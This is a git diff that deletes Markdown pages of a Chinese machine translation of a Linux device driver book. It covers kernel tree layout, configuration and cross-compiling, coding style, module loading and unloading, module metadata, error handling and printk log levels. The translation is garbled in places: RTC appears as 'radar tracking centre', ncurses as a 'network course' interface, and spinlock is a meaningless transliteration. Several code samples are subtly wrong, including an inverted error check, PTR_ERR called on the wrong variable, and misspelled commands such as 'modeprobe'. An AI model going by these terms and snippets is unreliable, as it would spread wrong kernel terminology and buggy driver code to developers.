的描述。在论坛上提问之前,你应该先看看这里。 -* `drivers/`:这是最重的目录,随着设备驱动合并不断增长。它包含组织在不同子目录中的每个设备驱动。 -* `fs/`:这个目录包含内核实际支持的不同文件系统的实现,比如 NTFS、FAT、ETX{2,3,4}、sysfs、procfs、NFS 等等。 -* `include/`:包含内核头文件。 -* `init/`:该目录包含初始化和启动代码。 -* `ipc/`:这包含**进程间通信** ( **IPC** )机制的实现,例如消息队列、信号量和共享内存。 -* `kernel/`:这个目录包含了基础内核独立于架构的部分。 -* `lib/`:这里住着库例程和一些助手函数。它们是:通用**内核对象**(**koobject**)处理程序和**循环冗余码** ( **CRC** )计算函数等等。 -* `mm/`:包含内存管理代码。 -* `net/`:这包含联网(无论是什么类型的网络)协议代码。 -* `scripts/`:包含内核开发过程中使用的脚本和工具。这里还有其他有用的工具。 -* `security/`:该目录包含安全框架代码。 -* `sound/`:音频子系统代码落在这里。 -* `usr/:`当前包含 initramfs 实现。 - -内核必须保持可移植性。任何特定于架构的代码都应该位于`arch`目录中。当然,与用户空间 API 相关的内核代码不会改变(系统调用、`/proc`、`/sys`),因为它会破坏现有的程序。 - -The book deals with version 4.1 of the kernel. Therefore, any changes made until v4.11 version are covered too, at least this can be said about the frameworks and subsystems. - -# 内核配置 - -Linux 内核是一个基于 makefile 的项目,有 1000 多个选项和驱动。要配置你的内核,要么使用`make menuconfig`作为基于网络课程的接口,要么使用`make xconfig`作为基于 X 的接口。一旦选择,选项将存储在源树根部的`.config`文件中。 - -在大多数情况下,不需要从头开始配置。每个`arch`目录中都有默认的有用的配置文件,可以作为起点使用: - -```sh - ls arch//configs/ -``` - -对于基于 ARM 的处理器,这些配置文件位于`arch/arm/configs/`中,对于 i.MX6 处理器,默认文件配置为`arch/arm/configs/imx_v6_v7_defconfig`。同样对于 x86 处理器,我们在`arch/x86/configs/`中找到文件,只有两个默认配置文件`i386_defconfig`和`x86_64_defconfig`,分别用于 32 位和 64 位版本。对于 x86 系统来说,这非常简单: - -```sh -make x86_64_defconfig -make zImage -j16 -make modules -makeINSTALL_MOD_PATH modules_install -``` - -给定一个基于 i.MX6 的板,可以从`ARCH=arm make imx_v6_v7_defconfig`开始,然后是`ARCH=arm make menuconfig`。使用前一个命令,您将默认选项存储在`.config`文件中,使用后一个命令,您可以根据需要更新添加/删除选项。 - -您可能会遇到带有`xconfig`的 Qt4 错误。在这种情况下,应该只使用以下命令: - -```sh -sudo apt-get install qt4-dev-tools qt4-qmake -``` - -# 构建您的内核 - -构建内核需要您指定为其构建的架构以及编译器。也就是说,本地构建没有必要。 - -```sh -ARCH=arm make imx_v6_v7_defconfig -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make zImage -j16 -``` - -之后,你会看到类似这样的东西: - -```sh - [...] - LZO arch/arm/boot/compressed/piggy_data - CC arch/arm/boot/compressed/misc.o - CC arch/arm/boot/compressed/decompress.o - CC arch/arm/boot/compressed/string.o - SHIPPED arch/arm/boot/compressed/hyp-stub.S - SHIPPED arch/arm/boot/compressed/lib1funcs.S - SHIPPED arch/arm/boot/compressed/ashldi3.S - SHIPPED arch/arm/boot/compressed/bswapsdi2.S - AS arch/arm/boot/compressed/hyp-stub.o - AS arch/arm/boot/compressed/lib1funcs.o - AS arch/arm/boot/compressed/ashldi3.o - AS arch/arm/boot/compressed/bswapsdi2.o - AS arch/arm/boot/compressed/piggy.o - LD arch/arm/boot/compressed/vmlinux - OBJCOPY arch/arm/boot/zImage - Kernel: arch/arm/boot/zImage is ready -``` - -从内核构建,结果将是一个单一的二进制图像,位于`arch/arm/boot/`。使用以下命令构建模块: - -```sh - ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make modules -``` - -您可以使用以下命令安装它们: - -```sh -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make modules_install -``` - -`modules_install`目标需要一个环境变量`INSTALL_MOD_PATH`,它指定了您应该在哪里安装模块。如果未设置,模块将安装在`/lib/modules/$(KERNELRELEASE)/kernel/`。这在[第 2 章](02.html#10DJ40-dbde2ca892a6480b9727afb6a9c9e924) *设备驱动基础*中讨论。 - -i.MX6 处理器支持设备树,设备树是您用来描述硬件的文件(这将在[第 6 章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)、*设备树的概念*中详细讨论)。但是,要编译每个`ARCH`设备树,可以运行以下命令: - -```sh -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make dtbs -``` - -但是`dtbs`选项并非在所有支持设备树的平台上都可用。要构建独立的 DTB,您应该使用: - -```sh -ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf- make imx6d- sabrelite.dtb -``` - -# 核心习惯 - -内核代码在其演化过程中试图遵循标准规则。在这一章中,我们将向他们介绍。它们都在一个专门的章节中讨论,从[第 3 章](http://post)、*内核设施和助手函数、*开始,我们对内核开发过程和技巧有了更好的概述,直到[第 13 章](http://post1)、 *Linux 设备模型*。 - -# 编程风格 - -在深入本节之前,您应该始终参考内核源代码树中的`Documentation/CodingStyle`处的内核编码风格手册。这种编码风格是一套你应该遵守的规则,至少如果你需要让内核开发者接受它的补丁。其中一些规则涉及缩进、程序流、命名约定等等。 - -最受欢迎的有: - -* 始终使用 8 个字符的制表符缩进,并且行应该有 80 列长。如果缩进阻止你写函数,那是因为这个函数有太多的嵌套层次。您可以使用内核源代码中的`scripts/cleanfile`脚本来调整选项卡的大小并验证行的大小: - -```sh -scripts/cleanfile my_module.c -``` - -* 您也可以使用`indent`工具正确缩进代码: - -```sh - sudo apt-get install indent - scripts/Lindent my_module.c -``` - -* 未导出的每个函数/变量都应该声明为静态的。 -* 圆括号表达式周围(内部)不应添加空格。 *s =结构文件*的大小;被接受,而 *s =大小(结构文件)*;不是。 -* 禁止使用`typdefs`。 -* 始终使用`/* this */`评论风格,而不是`// this` - -* 您应该大写宏,但是函数宏可以小写。 -* 注释不应替换不可辨认的代码。宁愿重写代码,也不要添加注释。 - -# 内核结构分配/初始化 - -内核总是为其数据结构和设施提供两种可能的分配机制。 - -其中一些结构是: - -* Workqueue(工作队列) -* 目录 -* wait queue-等待伫列 -* Tasklet(任务列表) -* 计时器 -* 完成 -* 互斥(体)… -* 斯宾洛克 - -动态初始值设定项都是宏,这意味着它们总是大写:`INIT_LIST_HEAD()`、`DECLARE_WAIT_QUEUE_HEAD()`、`DECLARE_TASKLET( )`等等。 - -也就是说,这些都在[第 3 章](#LTSU0-dbde2ca892a6480b9727afb6a9c9e924)、*内核设施和助手函数*中讨论。因此,表示框架设备的数据结构总是动态分配的,每个结构都有自己的分配和解除分配 API。这些框架设备类型包括: - -* 网络 -* 输入设备 -* 充电装置 -* IIO 装置 -* 班级 -* 帧缓冲区 -* 调整者 -* 脉宽调制装置 -* 雷达跟踪中心(Radar Tracking Centre 的缩写) - -静态对象的范围在整个驱动中是可见的,并且由这个驱动管理的每个设备可见。动态分配的对象只能由实际使用给定模块实例的设备看到。 - -# 类、对象和面向对象 - -内核通过一个设备和一个类来实现面向对象。内核子系统是通过类来抽象的。`/sys/class/` *下的目录几乎和子系统一样多。*该`struct kobject`结构是该实现的中心部分。它甚至引入了一个引用计数器,这样内核就可以知道有多少用户实际使用了这个对象。每个对象都有一个父对象,并且在`sysfs`中有一个条目(如果已安装)。 - -落入给定子系统的每个设备都有一个指向**操作** ( **操作**)结构的指针,该结构公开了可以在该设备上执行的操作。 - -# 摘要 - -本章用非常简短的方式解释了如何下载 Linux 源代码并进行第一次构建。它还涉及一些常见的概念。也就是说,这一章相当简短,可能还不够,但没关系,这只是一个介绍。这就是为什么下一章将深入讨论内核构建过程的细节,如何实际编译驱动,无论是从外部还是作为内核的一部分,以及在开始内核开发的漫长旅程之前应该学习的一些基础知识。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/02.md b/docs/linux-device-driver-dev/02.md deleted file mode 100644 index 1820355e..00000000 --- a/docs/linux-device-driver-dev/02.md +++ /dev/null @@ -1,735 +0,0 @@ -# 二、设备驱动基础 - -驱动是一种软件,其目的是控制和管理特定的硬件设备;因此得名设备驱动。从操作系统的角度来看,它可以在内核空间(以特权模式运行)或用户空间(具有较低特权)。这本书只涉及内核空间驱动,尤其是 Linux 内核驱动。我们的定义是设备驱动向用户程序公开硬件的功能。 - -这本书的目的不是教你如何成为一名 Linux 大师——我甚至不是——但是在编写设备驱动之前,有一些概念你应该理解。c 编程技能是必修的;你至少应该熟悉指针。您还应该熟悉一些操作功能。也需要一些硬件技能。所以本章主要讨论: - -* 模块构建过程及其装载和卸载 -* 驱动框架和调试消息管理 -* 驱动中的错误处理 - -# 用户空间和内核空间 - -内核空间和用户空间的概念有点抽象。这都是关于内存和访问权限。人们可能认为内核是有特权的,而用户应用是受限制的。它是现代中央处理器的一个特征,允许它在特权或非特权模式下运行。这个概念在[第 11 章](http://post%2011)、*内核内存管理*中会更加清晰。 - -![](img/00005.jpeg) - -User space and kernel space - -上图介绍了内核和用户空间之间的分离,并强调了系统调用是它们之间的桥梁这一事实(我们将在本章后面讨论这一点)。每个空间可以描述如下: - -* **内核空间:**这是一组地址,内核托管在这里,运行在这里。内核内存(或内核空间)是一个内存范围,由内核拥有,受访问标志保护,防止任何用户应用故意干扰内核。另一方面,内核可以访问整个系统内存,因为它在系统上以更高的优先级运行。在内核模式下,CPU 可以访问整个内存(内核空间和用户空间)。 -* **用户空间:**这是一组限制正常程序(如 gedit 等)运行的地址(位置)。你可能会认为它是一个沙箱或监狱,这样一个用户程序就不会弄乱内存或其他程序拥有的资源。在用户模式下,中央处理器只能访问标记有用户空间访问权限的内存。用户应用运行到内核空间的唯一方法是通过系统调用。其中有`read`、`write`、`open`、`close`、`mmap`等等。用户空间代码以较低的优先级运行。当一个进程执行系统调用时,一个软件中断被发送到内核,内核打开特权模式,这样进程就可以在内核空间中运行。当系统调用返回时,内核关闭特权模式,进程再次被监禁。 - -# 模块的概念 - -模块对于 Linux 内核就像插件对于用户软件一样(火狐就是一个例子)。它动态地扩展了内核功能,甚至不需要重启计算机。大多数时候,内核模块都是即插即用的。一旦插入,就可以使用了。为了支持模块,内核必须在启用以下选项的情况下构建: - -```sh -CONFIG_MODULES=y -``` - -# 模块依赖关系 - -在 Linux 中,一个模块可以提供函数或变量,使用`EXPORT_SYMBOL`宏导出它们,这使得它们可用于其他模块。这些被称为符号。模块 B 对模块 A 的依赖是模块 B 正在使用模块 A 导出的符号之一。 - -# depmod 实用程序 - -`depmod`是您在内核构建过程中运行的工具,用于生成模块依赖文件。它通过读取`/lib/modules//`中的每个模块来确定应该导出哪些符号以及需要哪些符号。该过程的结果被写入文件`modules.dep`,及其二进制版本`modules.dep.bin`。它是一种模块索引。 - -# 模块装载和卸载 - -要使一个模块可以运行,应该将它加载到内核中,要么使用给定模块路径的`insmod`作为参数,这是开发过程中的首选方法,要么使用`modprobe`,这是一个聪明的命令,但在生产系统中更喜欢使用。 - -# 手动装载 - -手动加载需要用户的干预,用户应该具有 root 访问权限。实现这一点的两种经典方法描述如下: - -# modprobe 和 insmod - -在开发过程中,人们通常使用`insmod`来加载模块,并且应该给它要加载的模块的路径: - -```sh -insmod /path/to/mydrv.ko -``` - -它是模块加载的低级形式,是其他模块加载方法的基础,也是我们将在本书中使用的方法。另一方面,还有`modprobe`,主要由 sysadmin 使用,或者在生产系统中使用。`modprobe`是一个聪明的命令,它解析文件`modules.dep`,以便在加载给定模块之前先加载依赖项。它自动处理模块依赖关系,就像包管理器一样: - -```sh -modprobe mydrv -``` - -能否使用`modprobe`取决于`depmod`是否知道模块安装。 - -# /etc/modules-load.d/ 。主配置文件 - -如果想在启动时加载某个模块,只需创建文件`/etc/modules-load.d/.conf`,并添加应该加载的模块名称,每行一个。``应该对你有意义,而人们通常用的模块:`/etc/modules-load.d/modules.conf`。您可以根据需要创建任意数量的`.conf`文件: - -`/etc/modules-load.d/mymodules.conf`的一个例子如下: - -```sh -#this line is a comment -uio -iwlwifi -``` - -# 自动装载 - -`depmod`实用程序不仅构建`modules.dep`和`modules.dep.bin`文件。它的作用不止于此。当内核开发人员实际编写驱动时,他们确切地知道驱动将支持什么硬件。然后,他们负责向驱动提供该驱动支持的所有设备的产品和供应商标识。`depmod`还处理模块文件以提取和收集该信息,并生成位于`/lib/modules//modules.alias`的`modules.alias`文件,该文件将设备映射到其驱动: - -`modules.alias`摘录如下: - -```sh -alias usb:v0403pFF1Cd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0403pFF18d*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0403pDAFFd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0403pDAFEd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0403pDAFDd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0403pDAFCd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio -alias usb:v0D8Cp0103d*dc*dsc*dp*ic*isc*ip*in* snd_usb_audio -alias usb:v*p*d*dc*dsc*dp*ic01isc03ip*in* snd_usb_audio -alias usb:v200Cp100Bd*dc*dsc*dp*ic*isc*ip*in* snd_usb_au -``` - -在这一步,您将需要一个用户空间热插拔代理(或设备管理器),通常是`udev`(或`mdev`),它将向内核注册,以便在新设备出现时得到通知。 - -通知由内核完成,将设备的描述(pid、vid、类、设备类、设备子类、接口和所有其他可能识别设备的信息)发送给热插拔守护进程,该进程再用这些信息调用`modprobe`。`modprobe`然后解析`modules.alias`文件,以便匹配与设备相关的驱动。在加载模块之前,`modprobe`将在`module.dep`中查找其依赖项。如果找到任何依赖项,将在相关模块加载之前加载;否则,直接加载模块。 - -# 模块卸载 - -卸载模块的常用命令是`rmmod`。人们应该更喜欢用它来卸载加载了`insmod`命令的模块。应该给该命令一个要卸载的模块名作为参数。根据`CONFIG_MODULE_UNLOAD`配置选项的值,模块卸载是一个可以启用或禁用的核心功能。没有此选项,将无法卸载任何模块。让我们启用模块卸载支持: - -```sh -CONFIG_MODULE_UNLOAD=y -``` - -在运行时,内核将阻止卸载可能会破坏东西的模块,即使有人要求它这样做。这是因为内核对模块的使用保持一个引用计数,所以它知道一个模块是否实际在使用。如果内核认为移除一个模块是不安全的,它不会。显然,人们可以改变这种行为: - -```sh -MODULE_FORCE_UNLOAD=y -``` - -为了强制模块卸载,应该在内核配置中设置上述选项: - -```sh -rmmod -f mymodule -``` - -另一方面,以智能方式卸载模块的更高级命令是`modeprobe -r`,它会自动卸载未使用的依赖项: - -```sh -modeprobe -r mymodule -``` - -正如你可能已经猜到的,这对开发人员来说是一个非常有用的选择。最后,可以使用以下命令检查模块是否已加载: - -```sh -lsmod -``` - -# 驾驶员骨架 - -让我们考虑以下`helloworld`模块。这将是我们本章剩余部分工作的基础: - -helloworld.c - -```sh -#include -#include -#include - -static int __init helloworld_init(void) { - pr_info("Hello world!\n"); - return 0; -} - -static void __exit helloworld_exit(void) { - pr_info("End of the world\n"); -} - -module_init(helloworld_init); -module_exit(helloworld_exit); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -# 模块入口和出口点 - -内核驱动都有入口点和出口点:前者对应模块加载时调用的函数(`modprobe`、`insmod`),后者是模块卸载时执行的函数(在`rmmod or modprobe -r`)。 - -我们都记得`main()`函数,它是用 C/C++编写的每个用户空间程序的入口点,当同一个函数返回时退出。有了内核模块,事情就不一样了。入口点可以有任何你想要的名字,与`main()`返回时退出的用户空间程序不同,出口点是在另一个函数中定义的。您所需要做的就是通知内核哪些函数应该作为入口点或出口点来执行。实际功能`hellowolrd_init`和`hellowolrd_exit`可以有任何名称。唯一实际上是强制性的是将它们识别为相应的加载和移除功能,将它们作为参数提供给`module_init()`和`module_exit()`宏。 - -综上所述,`module_init()`用于声明加载模块时应该调用的函数(用`insmod`或`modprobe`)。在初始化函数中所做的事情将定义模块的行为。`module_exit()`用于声明模块卸载时应该调用的函数(带`rmmod`)。 - -Either the `init` function or the `exit` function is run once, right after the module is loaded or unloaded. - -# __init 和 __exit 属性 - -`__init`和`__exit`实际上是内核宏,在`include/linux/init.h`中定义,如下所示: - -```sh -#define __init__section(.init.text) -#define __exit__section(.exit.text) -``` - -`__init`关键字告诉链接器将代码放在内核对象文件的专用部分。这一部分是内核预先知道的,当模块被加载并且`init`功能完成时被释放。这仅适用于内置驱动,不适用于可加载模块。内核将在其引导序列中首次运行驱动的 init 函数。 - -由于驱动无法卸载,它的 init 函数在下次重新启动之前不会被再次调用。不再需要在它的 init 函数上保留引用。对于`__exit`关键字也是如此,当模块被静态编译到内核中时,或者当模块卸载支持未启用时,其对应的代码被省略,因为在这两种情况下,`exit`函数都不会被调用。`__exit`对可加载模块没有影响。 - -让我们花更多的时间来理解这些属性是如何工作的。都是关于名为**可执行可链接格式** ( **ELF** )的目标文件。ELF 对象文件由各种命名的部分组成。其中一些是强制性的,并构成了 ELF 标准的基础,但你可以组成任何你想要的部分,并让它被特殊程序使用。这就是内核所做的。可以运行`objdump -h module.ko`来打印出构成给定`module.ko`内核模块的不同部分: - -![](img/00006.jpeg) - -List of sections of helloworld-params.ko module - -标题中只有几个部分是标准的 ELF 部分: - -* `.text`,也叫代码,其中包含程序代码 -* `.data`,包含初始化数据,也称为数据段 -* `.rodata`,为只读数据 -* `.comment` -* 未初始化的数据段,也称为**块,以符号** ( **bss** )开始 - -出于内核目的,其他部分是按需添加的。本章最重要的是**。存储模块信息的 modeinfo** 部分和存储以`__init`宏为前缀的代码的**init . text**部分。 - -Linux 系统上的链接器(`ld`)是 binutils 的一部分,负责将符号(数据、代码等)放置在生成的二进制文件的适当部分,以便在程序执行时由加载器处理。您可以自定义这些节,更改它们的默认位置,甚至通过提供一个链接器脚本来添加额外的节,该脚本称为**链接器定义文件** ( **LDF** )或**链接器定义脚本** ( **LDS** )。现在你所要做的就是通过编译器指令通知链接器符号的位置。GNU C 编译器为此提供了属性。在 Linux 内核的情况下,提供了一个自定义的 LDS 文件,位于`arch//kernel/vmlinux.lds.S`中。`__init`和`__exit`然后被用来标记符号,这些符号将被放置在内核的 LDS 文件中映射的专用部分上。 - -总之,`__init`和`__exit`是 Linux 指令(实际上是宏),它们包装了用于符号放置的 C 编译器属性。它们指示编译器将它们作为前缀的代码分别放在`.init.text`和`.exit.text`部分,即使内核可以访问不同的对象部分。 - -# 模块信息 - -即使不必阅读其代码,也应该能够收集关于给定模块的一些信息(例如,作者、参数描述、许可证)。内核模块使用其`.modinfo`部分来存储关于该模块的信息。任何`MODULE_*`宏都会用作为参数传递的值更新该部分的内容。其中一些宏是`MODULE_DESCRIPTION()`、`MODULE_AUTHOR()`和`MODULE_LICENSE()`。内核提供的在模块信息部分添加条目的真正底层宏是`MODULE_INFO(tag, info)`,它添加了表单标签= info 的通用信息。这意味着驱动作者可以添加他们想要的任何自由形式的信息,例如: - -```sh -MODULE_INFO(my_field_name, "What eeasy value"); -``` - -可以使用给定模块上的`objdump -d -j .modinfo`命令转储内核模块的`.modeinfo`部分的内容: - -![](img/00007.jpeg) - -Content of .modeinfo section of helloworld-params.ko module - -modinfo 部分可视为模块的数据手册。以程式化方式实际打印信息的用户空间工具是`modinfo`: - -![](img/00008.jpeg) - -modinfo output - -除了一个人定义的自定义信息,还有一个人应该提供的标准信息,内核为其提供宏;这些是许可证、模块作者、参数描述、模块版本和模块描述。 - -# 批准 - -许可证在给定模块中由`MODULE_LICENSE()`宏定义: - -```sh -MODULE_LICENSE ("GPL"); -``` - -许可证将定义如何与其他开发人员共享(或不共享)您的源代码。`MODULE_LICENSE()`告诉内核我们的模块使用什么许可证。它对您的模块行为有影响,因为不兼容 GPL 的许可证将导致您的模块无法看到/使用内核通过`EXPORT_SYMBOL_GPL()`宏导出的服务/功能,该宏仅向兼容 GPL 的模块显示符号,这与`EXPORT_SYMBOL()`相反,后者为具有任何许可证的模块导出功能。加载非 GPL 兼容的也会导致内核被污染;这意味着已经加载了非开源或不可信的代码,并且您可能没有社区的支持。请记住,没有`MODULE_LICENSE()`的模块不被认为是开源的,也会污染内核。以下是`include/linux/module.h`的摘录,描述了内核支持的许可证: - -```sh -/* - * The following license idents are currently accepted as indicating free - * software modules - * - * "GPL" [GNU Public License v2 or later] - * "GPL v2" [GNU Public License v2] - * "GPL and additional rights" [GNU Public License v2 rights and more] - * "Dual BSD/GPL" [GNU Public License v2 - * or BSD license choice] - * "Dual MIT/GPL" [GNU Public License v2 - * or MIT license choice] - * "Dual MPL/GPL" [GNU Public License v2 - * or Mozilla license choice] - * - * The following other idents are available - * - * "Proprietary" [Non free products] - * - * There are dual licensed components, but when running with Linux it is the - * GPL that is relevant so this is a non issue. Similarly LGPL linked with GPL - * is a GPL combined work. - * - * This exists for several reasons - * 1\. So modinfo can show license info for users wanting to vet their setup - * is free - * 2\. So the community can ignore bug reports including proprietary modules - * 3\. So vendors can do likewise based on their own policies - */ -``` - -It is mandatory for your module to be at least GPL-compatible in order for you to enjoy full kernel services. - -# 模块作者 - -`MODULE_AUTHOR()`声明模块的作者: - -```sh -MODULE_AUTHOR("John Madieu "); -``` - -有可能有不止一个作者。在这种情况下,每个作者必须用`MODULE_AUTHOR()`声明: - -```sh -MODULE_AUTHOR("John Madieu "); -MODULE_AUTHOR("Lorem Ipsum "); -``` - -# 模块描述 - -`MODULE_DESCRIPTION()`简要描述模块的功能: - -```sh -MODULE_DESCRIPTION("Hello, world! Module"); -``` - -# 错误和消息打印 - -错误代码由内核或用户空间应用解释(通过`errno`变量)。错误处理在软件开发中比在内核开发中更重要。幸运的是,内核提供了几个错误,几乎涵盖了您会遇到的每一个错误,有时您需要将它们打印出来以帮助您调试。 - -# 错误处理 - -针对给定的错误返回错误的错误代码,这将导致内核或用户空间应用产生不必要的行为并做出错误的决定。为了清楚起见,内核树中有一些预定义的错误,几乎涵盖了您可能面临的所有情况。一些错误(及其含义)在`include/uapi/asm-generic/errno-base.h`中定义,其余列表可以在`include/uapi/asm-generic/errno.h.`中找到。以下是来自`include/uapi/asm-generic/errno-base.h`的错误列表摘录: - -```sh -#define EPERM 1 /* Operation not permitted */ -#define ENOENT 2 /* No such file or directory */ -#define ESRCH 3 /* No such process */ -#define EINTR 4 /* Interrupted system call */ -#define EIO 5 /* I/O error */ -#define ENXIO 6 /* No such device or address */ -#define E2BIG 7 /* Argument list too long */ -#define ENOEXEC 8 /* Exec format error */ -#define EBADF 9 /* Bad file number */ -#define ECHILD 10 /* No child processes */ -#define EAGAIN 11 /* Try again */ -#define ENOMEM 12 /* Out of memory */ -#define EACCES 13 /* Permission denied */ -#define EFAULT 14 /* Bad address */ -#define ENOTBLK 15 /* Block device required */ -#define EBUSY 16 /* Device or resource busy */ -#define EEXIST 17 /* File exists */ -#define EXDEV 18 /* Cross-device link */ -#define ENODEV 19 /* No such device */ -#define ENOTDIR 20 /* Not a directory */ -#define EISDIR 21 /* Is a directory */ -#define EINVAL 22 /* Invalid argument */ -#define ENFILE 23 /* File table overflow */ -#define EMFILE 24 /* Too many open files */ -#define ENOTTY 25 /* Not a typewriter */ -#define ETXTBSY 26 /* Text file busy */ -#define EFBIG 27 /* File too large */ -#define ENOSPC 28 /* No space left on device */ -#define ESPIPE 29 /* Illegal seek */ -#define EROFS 30 /* Read-only file system */ -#define EMLINK 31 /* Too many links */ -#define EPIPE 32 /* Broken pipe */ -#define EDOM 33 /* Math argument out of domain of func */ -#define ERANGE 34 /* Math result not representable */ -``` - -大多数情况下,返回错误的经典方式是以`return -ERROR`的形式进行,尤其是在应答系统调用时。例如,对于一个输入/输出错误,错误代码是`EIO`,应该是`return -EIO`: - -```sh -dev = init(&ptr); -if(!dev) -return -EIO -``` - -错误有时会跨越内核空间,并传播到用户空间。如果返回的错误是对系统调用的应答(`open`、`read`、`ioctl`、`mmap`),该值将自动分配给用户空间`errno`全局变量,在该变量上可以使用`strerror(errno)`将错误转换为可读字符串: - -```sh -#include /* to access errno global variable */ -#include -[...] -if(wite(fd, buf, 1) < 0) { - printf("something gone wrong! %s\n", strerror(errno)); -} -[...] -``` - -当您遇到错误时,您必须撤消已设置的所有内容,直到错误发生。通常的方法是使用`goto`语句: - -```sh -ptr = kmalloc(sizeof (device_t)); -if(!ptr) { - ret = -ENOMEM - goto err_alloc; -} -dev = init(&ptr); - -if(dev) { - ret = -EIO - goto err_init; -} -return 0; - -err_init: - free(ptr); -err_alloc: - return ret; -``` - -使用`goto`语句的原因很简单。说到处理错误,假设在第 5 步,必须清理之前的操作(第 4、3、2、1 步)。代替如下所示的大量嵌套检查操作: - -```sh -if (ops1() != ERR) { - if (ops2() != ERR) { - if ( ops3() != ERR) { - if (ops4() != ERR) { -``` - -这可能会令人困惑,并可能导致缩进问题。人们更喜欢使用`goto`来获得直接的控制流,如下所示: - -```sh -if (ops1() == ERR) // | - goto error1; // | -if (ops2() == ERR) // | - goto error2; // | -if (ops3() == ERR) // | - goto error3; // | -if (ops4() == ERR) // V - goto error4; -error5: -[...] -error4: -[...] -error3: -[...] -error2: -[...] -error1: -[...] -``` - -这意味着,应该只使用 goto 在函数中前进。 - -# 处理空指针错误 - -当从应该返回指针的函数返回错误时,函数通常会返回`NULL`指针。这是一种可行但毫无意义的方法,因为人们不知道为什么返回这个空指针。为此,内核提供了三个功能:`ERR_PTR`、`IS_ERR`和`PTR_ERR`: - -```sh -void *ERR_PTR(long error); -long IS_ERR(const void *ptr); -long PTR_ERR(const void *ptr); -``` - -第一个函数实际上将错误值作为指针返回。给定一个在内存分配失败后可能会`return -ENOMEM`的函数,我们必须做一些类似`return ERR_PTR(-ENOMEM);`的事情。第二个用于检查返回值是否为指针错误,`if (IS_ERR(foo))`。最后返回实际错误代码`return PTR_ERR(foo);`。以下是一个例子: - -如何使用`ERR_PTR`、`IS_ERR`、`PTR_ERR`: - -```sh -static struct iio_dev *indiodev_setup(){ - [...] - struct iio_dev *indio_dev; - indio_dev = devm_iio_device_alloc(&data->client->dev, sizeof(data)); - if (!indio_dev) - return ERR_PTR(-ENOMEM); - [...] - return indio_dev; -} - -static int foo_probe([...]){ - [...] - struct iio_dev *my_indio_dev = indiodev_setup(); - if (IS_ERR(my_indio_dev)) - return PTR_ERR(data->acc_indio_dev); - [...] -} -``` - -This is a plus on error handling, which is also an excerpt of the kernel coding style that says: If the name of a function is an action or an imperative command, the function should return an error-code integer. If the name is a predicate, the function should return a `succeeded` Boolean. For example, `add work` is a command, and the `add_work()` function returns `0` for success or `-EBUSY` for failure. In the same way, `PCI device present` is a predicate, and the `pci_dev_present()` function returns `1` if it succeeds in finding a matching device or `0` if it doesn't. - -# 消息打印–printk() - -`printk()`对于内核就像`printf()`对于用户空间一样。通过`dmesg`命令可以显示`printk()`写的行。根据您需要打印的消息的重要程度,您可以在`include/linux/kern_levels.h`中定义的八个日志级别的消息中进行选择,以及它们的含义: - -以下是内核日志级别列表。这些级别中的每一个都对应于字符串中的一个数字,其优先级与该数字的值成反比。例如,`0`是更高的优先级: - -```sh -#define KERN_SOH "\001" /* ASCII Start Of Header */ -#define KERN_SOH_ASCII '\001' - -#define KERN_EMERG KERN_SOH "0" /* system is unusable */ -#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */ -#define KERN_CRIT KERN_SOH "2" /* critical conditions */ -#define KERN_ERR KERN_SOH "3" /* error conditions */ -#define KERN_WARNING KERN_SOH "4" /* warning conditions */ -#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */ -#define KERN_INFO KERN_SOH "6" /* informational */ -#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */ -``` - -下面的代码显示了如何打印内核消息以及日志级别: - -```sh -printk(KERN_ERR "This is an error\n"); -``` - -如果忽略调试级别(`printk("This is an error\n")`),内核将为函数提供一个调试级别,具体取决于`CONFIG_DEFAULT_MESSAGE_LOGLEVEL`配置选项,这是默认的内核日志级别。人们实际上可以使用以下更有意义的宏之一,它们是之前定义的宏的包装器:`pr_emerg`、`pr_alert`、`pr_crit`、`pr_err`、`pr_warning`、`pr_notice`、`pr_info`和`pr_debug`: - -```sh -pr_err("This is the same error\n"); -``` - -对于新的驱动,建议使用这些包装器。`printk()`的现实是,无论何时调用,内核都会将消息日志级别与当前控制台日志级别进行比较;如果前者高于(低于)后者,消息将立即打印到控制台。您可以通过以下方式检查日志级别参数: - -```sh - cat /proc/sys/kernel/printk - 4 4 1 7 -``` - -在该代码中,根据`CONFIG_DEFAULT_MESSAGE_LOGLEVEL`选项,第一个值是当前日志级别(4),第二个值是默认的。其他值与本章的目的无关,因此让我们忽略这些值。 - -内核日志级别列表如下: - -```sh -/* integer equivalents of KERN_ */ -#define LOGLEVEL_SCHED -2 /* Deferred messages from sched code - * are set to this special level */ -#define LOGLEVEL_DEFAULT -1 /* default (or last) loglevel */ -#define LOGLEVEL_EMERG 0 /* system is unusable */ -#define LOGLEVEL_ALERT 1 /* action must be taken immediately */ -#define LOGLEVEL_CRIT 2 /* critical conditions */ -#define LOGLEVEL_ERR 3 /* error conditions */ -#define LOGLEVEL_WARNING 4 /* warning conditions */ -#define LOGLEVEL_NOTICE 5 /* normal but significant condition */ -#define LOGLEVEL_INFO 6 /* informational */ -#define LOGLEVEL_DEBUG 7 /* debug-level messages */ -``` - -当前日志级别可以通过以下方式更改: - -```sh - # echo > /proc/sys/kernel/printk -``` - -`printk()` never blocks and is safe enough to be called even from atomic contexts. It tries to lock the console and print the message. If locking fails, the output will be written into a buffer and the function will return, never blocking. The current console holder will then be notified about new messages and will print them before releasing the console. - -内核也支持其他调试方法,要么是动态的,要么是在文件顶部使用`#define DEBUG`。对这种调试风格感兴趣的人可以参考*Documentation/dynamic-debug-how to . txt*文件中的内核文档。 - -# 模块参数 - 